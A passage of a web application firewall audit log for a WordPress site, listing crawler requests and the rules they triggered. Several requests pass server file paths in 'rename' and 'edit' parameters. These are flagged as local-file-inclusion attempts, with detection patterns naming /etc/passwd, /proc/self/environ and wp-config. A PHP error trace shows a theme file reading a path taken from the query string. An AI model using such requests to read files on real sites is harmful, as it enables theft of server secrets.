\"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":192,"p2":3479,"p3":0,"p4":0,"p5":234,"sr":134,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:00:31:48.678189 +0100","transaction_id":"abNM5Iy-eB0XhjfRE2kjSwAAARM","remote_address":"57.141.20.44","remote_port":56120,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=/usr/base/usr/share/locale/si/LC_MESSAGES/shared-mime-info.mo HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.44","X-Forwarded-Proto":"https","X-Request-Id":"021b9d551660cff0f87ae448602a1b58","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"28904952"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2474>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"021b9d551660cff0f87ae448602a1b58","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/locale/si/LC_MESSAGES/shared-mime-info.mo||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":327,"p2":5856,"p3":0,"p4":0,"p5":354,"sr":146,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:00:31:54.843783 +0100","transaction_id":"abNM6iz8c_poV-IkHVYc_AAAAYg","remote_address":"57.141.20.29","remote_port":43342,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=/usr/base/.wp-cli/cache-php-compat/plugins/osm/osm.6.1.14.json HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.29","X-Forwarded-Proto":"https","X-Request-Id":"c8e076dc9aa9288bebb5af4cbe0ddc82","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"30018163"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2474>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"c8e076dc9aa9288bebb5af4cbe0ddc82","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/.wp-cli/cache-php-compat/plugins/osm/osm.6.1.14.json||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":307,"p2":5995,"p3":0,"p4":0,"p5":313,"sr":149,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:00:32:16.659519 +0100","transaction_id":"abNNAIn1_YFiEGJpKphSvwAAAIA","remote_address":"57.141.20.50","remote_port":45726,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?rename=/usr/base/usr/share/terminfo/m/microb HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.50","X-Forwarded-Proto":"https","X-Request-Id":"c42f07718ba4acbf0bb2027a4c43487e","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"30936248"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"c42f07718ba4acbf0bb2027a4c43487e","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/terminfo/m/microb||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":212,"p2":4069,"p3":0,"p4":0,"p5":317,"sr":113,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:00:32:21.968141 +0100","transaction_id":"abNNBYn1_YFiEGJpKphS0gAAAJI","remote_address":"57.141.20.31","remote_port":39080,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?rename=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/d9/7dd6b1211d4dc77f1c1b9116cdb4a07118ca63 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.31","X-Forwarded-Proto":"https","X-Request-Id":"990499ab625266e316886c66ee7ab550","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"30674925"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"990499ab625266e316886c66ee7ab550","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?rename=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/d9/7dd6b1211d4dc77f1c1b9116cdb4a07118ca63||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":322,"p2":6435,"p3":0,"p4":0,"p5":385,"sr":159,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:00:33:37.252865 +0100","transaction_id":"abNNUIn1_YFiEGJpKphTtAAAAIw","remote_address":"65.109.118.212","remote_port":60546,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /robots.txt HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"65.109.118.212","X-Forwarded-Proto":"http","X-Request-Id":"110313fc17bfe921c71a5e5f33c1a590","X-L-Admin-Auth":"0","Accept":"text/plain;text/html;q=0.9,*/*;q=0.8","User-Agent":"Mozilla/5.0 (compatible; AwarioBot/1.0; +https://awario.com/bots.html)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"18359962","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Vary":"Accept-Encoding","Content-Encoding":"gzip","X-Orig-Rid":"110313fc17bfe921c71a5e5f33c1a590","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Content-Length":"119","Content-Type":"text/plain; charset=utf-8"}},"audit_data":{"messages":["Match of \"rx ^(?:(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)\\\\/(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)|\\\\*)(?:[\\\\s\\\\x0b]*;[\\\\s\\\\x0b]*(?:charset[\\\\s\\\\x0b]*=[\\\\s\\\\x0b]*\\\\x22?(?:iso-8859-15?|utf-8|windows-1252)\\\\b\\\\x22?|(?:[^\\\\s\\\\x0b-\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[- ...\" against \"REQUEST_HEADERS:Accept\" required. [file \"/usr/share/modsecurity_lws/002_i360_basic.conf\"] [line \"48\"] [id \"77350474\"] [msg \"IM360 WAF: Bad Accept Header||MV:text/plain;text/html;q=0.9,*/*;q=0.8||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":282,"p2":3799,"p3":0,"p4":0,"p5":311,"sr":122,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:00:34:45.076207 +0100","transaction_id":"abNNlIn1_YFiEGJpKphUqQAAAJM","remote_address":"57.141.20.23","remote_port":34978,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?edit=/usr/base/usr/share/terminfo/p/putty%20keypad HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.23","X-Forwarded-Proto":"https","X-Request-Id":"1d0da6e0e515e12b4a66b1c8f1006d57","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"27302697"}},"response":{"protocol":"HTTP/1.1","status":500,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2474>; rel=shortlink","Expires":"Wed, 11 Jan 1984 05:00:00 GMT","Cache-Control":"no-cache, must-revalidate, max-age=0, no-store, private","X-Orig-Rid":"1d0da6e0e515e12b4a66b1c8f1006d57","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Connection":"close","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"error_messages":["[file \"mod_proxy_fcgi.c\"] [line 960] [level 3] AH01071: Got error 'PHP message: PHP Fatal error:  Uncaught ValueError: Path cannot be empty in /htdocs/ptso.jmkconsulting-ci.com/wp-content/themes/agrios/single-service.php:180\\\\nStack trace:\\\\n#0 /htdocs/ptso.jmkconsulting-ci.com/wp-content/themes/agrios/single-service.php(180): file_get_contents('')\\\\n#1 /htdocs/ptso.jmkconsulting-ci.com/wp-content/themes/agrios/single-service.php(232): editFile(false)\\\\n#2 /htdocs/ptso.jmkconsulting-ci.com/wp-includes/template-loader.php(132): include('/htdocs/ptso.jm...')\\\\n#3 /htdocs/ptso.jmkconsulting-ci.com/wp-blog-header.php(19): require_once('/htdocs/ptso.jm...')\\\\n#4 /htdocs/ptso.jmkconsulting-ci.com/index.php(17): require('/htdocs/ptso.jm...')\\\\n#5 {main}\\\\n  thrown in /htdocs/ptso.jmkconsulting-ci.com/wp-content/themes/agrios/single-service.php on line 180'"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":344,"p2":7167,"p3":0,"p4":0,"p5":349,"sr":154,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:00:35:38.091746 +0100","transaction_id":"abNNyYy-eB0XhjfRE2klHQAAARY","remote_address":"65.109.118.212","remote_port":39454,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /robots.txt HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"65.109.118.212","X-Forwarded-Proto":"http","X-Request-Id":"580e8bf467bfb2d3da0bb5615ac41900","X-L-Admin-Auth":"0","Accept":"text/plain;text/html;q=0.9,*/*;q=0.8","User-Agent":"Mozilla/5.0 (compatible; AwarioBot/1.0; +https://awario.com/bots.html)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"6283022","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Vary":"Accept-Encoding","Content-Encoding":"gzip","X-Orig-Rid":"580e8bf467bfb2d3da0bb5615ac41900","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Content-Length":"119","Content-Type":"text/plain; charset=utf-8"}},"audit_data":{"messages":["Match of \"rx ^(?:(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)\\\\/(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)|\\\\*)(?:[\\\\s\\\\x0b]*;[\\\\s\\\\x0b]*(?:charset[\\\\s\\\\x0b]*=[\\\\s\\\\x0b]*\\\\x22?(?:iso-8859-15?|utf-8|windows-1252)\\\\b\\\\x22?|(?:[^\\\\s\\\\x0b-\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[- ...\" against \"REQUEST_HEADERS:Accept\" required. [file \"/usr/share/modsecurity_lws/002_i360_basic.conf\"] [line \"48\"] [id \"77350474\"] [msg \"IM360 WAF: Bad Accept Header||MV:text/plain;text/html;q=0.9,*/*;q=0.8||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":317,"p2":4998,"p3":0,"p4":0,"p5":243,"sr":163,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:00:37:38.604606 +0100","transaction_id":"abNOQkosXgskzHvsnQC3YQAAAVU","remote_address":"65.109.118.212","remote_port":38674,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /robots.txt HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"65.109.118.212","X-Forwarded-Proto":"http","X-Request-Id":"3753bee6c0ede44d609303226a954fce","X-L-Admin-Auth":"0","Accept":"text/plain;text/html;q=0.9,*/*;q=0.8","User-Agent":"Mozilla/5.0 (compatible; AwarioBot/1.0; +https://awario.com/bots.html)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"28905192","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Vary":"Accept-Encoding","Content-Encoding":"gzip","X-Orig-Rid":"3753bee6c0ede44d609303226a954fce","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Content-Length":"119","Content-Type":"text/plain; charset=utf-8"}},"audit_data":{"messages":["Match of \"rx ^(?:(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)\\\\/(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)|\\\\*)(?:[\\\\s\\\\x0b]*;[\\\\s\\\\x0b]*(?:charset[\\\\s\\\\x0b]*=[\\\\s\\\\x0b]*\\\\x22?(?:iso-8859-15?|utf-8|windows-1252)\\\\b\\\\x22?|(?:[^\\\\s\\\\x0b-\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[- ...\" against \"REQUEST_HEADERS:Accept\" required. [file \"/usr/share/modsecurity_lws/002_i360_basic.conf\"] [line \"48\"] [id \"77350474\"] [msg \"IM360 WAF: Bad Accept Header||MV:text/plain;text/html;q=0.9,*/*;q=0.8||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":259,"p2":4636,"p3":0,"p4":0,"p5":304,"sr":148,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:00:39:37.305865 +0100","transaction_id":"abNOuIy-eB0XhjfRE2knpgAAARY","remote_address":"57.141.20.11","remote_port":47874,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?rename=/usr/base/.wp-cli/cache-php-compat/plugins/contact-form-7/contact-form-7.5.6.3.json HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.11","X-Forwarded-Proto":"https","X-Request-Id":"7dbd0056bab3d7094ffa0efaa8164b76","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"25662150"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"7dbd0056bab3d7094ffa0efaa8164b76","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/.wp-cli/cache-php-compat/plugins/contact-form-7/contact-form-7.5.6.3.json||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":321,"p2":6040,"p3":0,"p4":0,"p5":315,"sr":151,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:00:39:40.405329 +0100","transaction_id":"abNOu0osXgskzHvsnQC4YwAAAVE","remote_address":"65.109.118.212","remote_port":59854,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /robots.txt HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"65.109.118.212","X-Forwarded-Proto":"http","X-Request-Id":"d23f9cea21d7533277d558940cae1c62","X-L-Admin-Auth":"0","Accept":"text/plain;text/html;q=0.9,*/*;q=0.8","User-Agent":"Mozilla/5.0 (compatible; AwarioBot/1.0; +https://awario.com/bots.html)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"21631826","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Vary":"Accept-Encoding","Content-Encoding":"gzip","X-Orig-Rid":"d23f9cea21d7533277d558940cae1c62","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Content-Length":"119","Content-Type":"text/plain; charset=utf-8"}},"audit_data":{"messages":["Match of \"rx ^(?:(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)\\\\/(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)|\\\\*)(?:[\\\\s\\\\x0b]*;[\\\\s\\\\x0b]*(?:charset[\\\\s\\\\x0b]*=[\\\\s\\\\x0b]*\\\\x22?(?:iso-8859-15?|utf-8|windows-1252)\\\\b\\\\x22?|(?:[^\\\\s\\\\x0b-\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[- ...\" against \"REQUEST_HEADERS:Accept\" required. [file \"/usr/share/modsecurity_lws/002_i360_basic.conf\"] [line \"48\"] [id \"77350474\"] [msg \"IM360 WAF: Bad Accept Header||MV:text/plain;text/html;q=0.9,*/*;q=0.8||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":250,"p2":4537,"p3":0,"p4":0,"p5":333,"sr":147,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:00:43:43.325081 +0100","transaction_id":"abNPriz8c_poV-IkHVYj9QAAAYk","remote_address":"65.109.118.212","remote_port":54160,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /robots.txt HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"65.109.118.212","X-Forwarded-Proto":"http","X-Request-Id":"aaa065d3e3883eb4f6294d82c0554513","X-L-Admin-Auth":"0","Accept":"text/plain;text/html;q=0.9,*/*;q=0.8","User-Agent":"Mozilla/5.0 (compatible; AwarioBot/1.0; +https://awario.com/bots.html)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"29002599","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Vary":"Accept-Encoding","Content-Encoding":"gzip","X-Orig-Rid":"aaa065d3e3883eb4f6294d82c0554513","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Content-Length":"119","Content-Type":"text/plain; charset=utf-8"}},"audit_data":{"messages":["Match of \"rx ^(?:(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)\\\\/(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)|\\\\*)(?:[\\\\s\\\\x0b]*;[\\\\s\\\\x0b]*(?:charset[\\\\s\\\\x0b]*=[\\\\s\\\\x0b]*\\\\x22?(?:iso-8859-15?|utf-8|windows-1252)\\\\b\\\\x22?|(?:[^\\\\s\\\\x0b-\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[- ...\" against \"REQUEST_HEADERS:Accept\" required. [file \"/usr/share/modsecurity_lws/002_i360_basic.conf\"] [line \"48\"] [id \"77350474\"] [msg \"IM360 WAF: Bad Accept Header||MV:text/plain;text/html;q=0.9,*/*;q=0.8||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":216,"p2":4761,"p3":0,"p4":0,"p5":338,"sr":120,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:00:45:46.217751 +0100","transaction_id":"abNQKSz8c_poV-IkHVYlkQAAAY4","remote_address":"65.109.118.212","remote_port":60484,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /robots.txt HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"65.109.118.212","X-Forwarded-Proto":"http","X-Request-Id":"e4c07f25a0b7cb7dc4e3543a0479fcb8","X-L-Admin-Auth":"0","Accept":"text/plain;text/html;q=0.9,*/*;q=0.8","User-Agent":"Mozilla/5.0 (compatible; AwarioBot/1.0; +https://awario.com/bots.html)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"27822837","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; 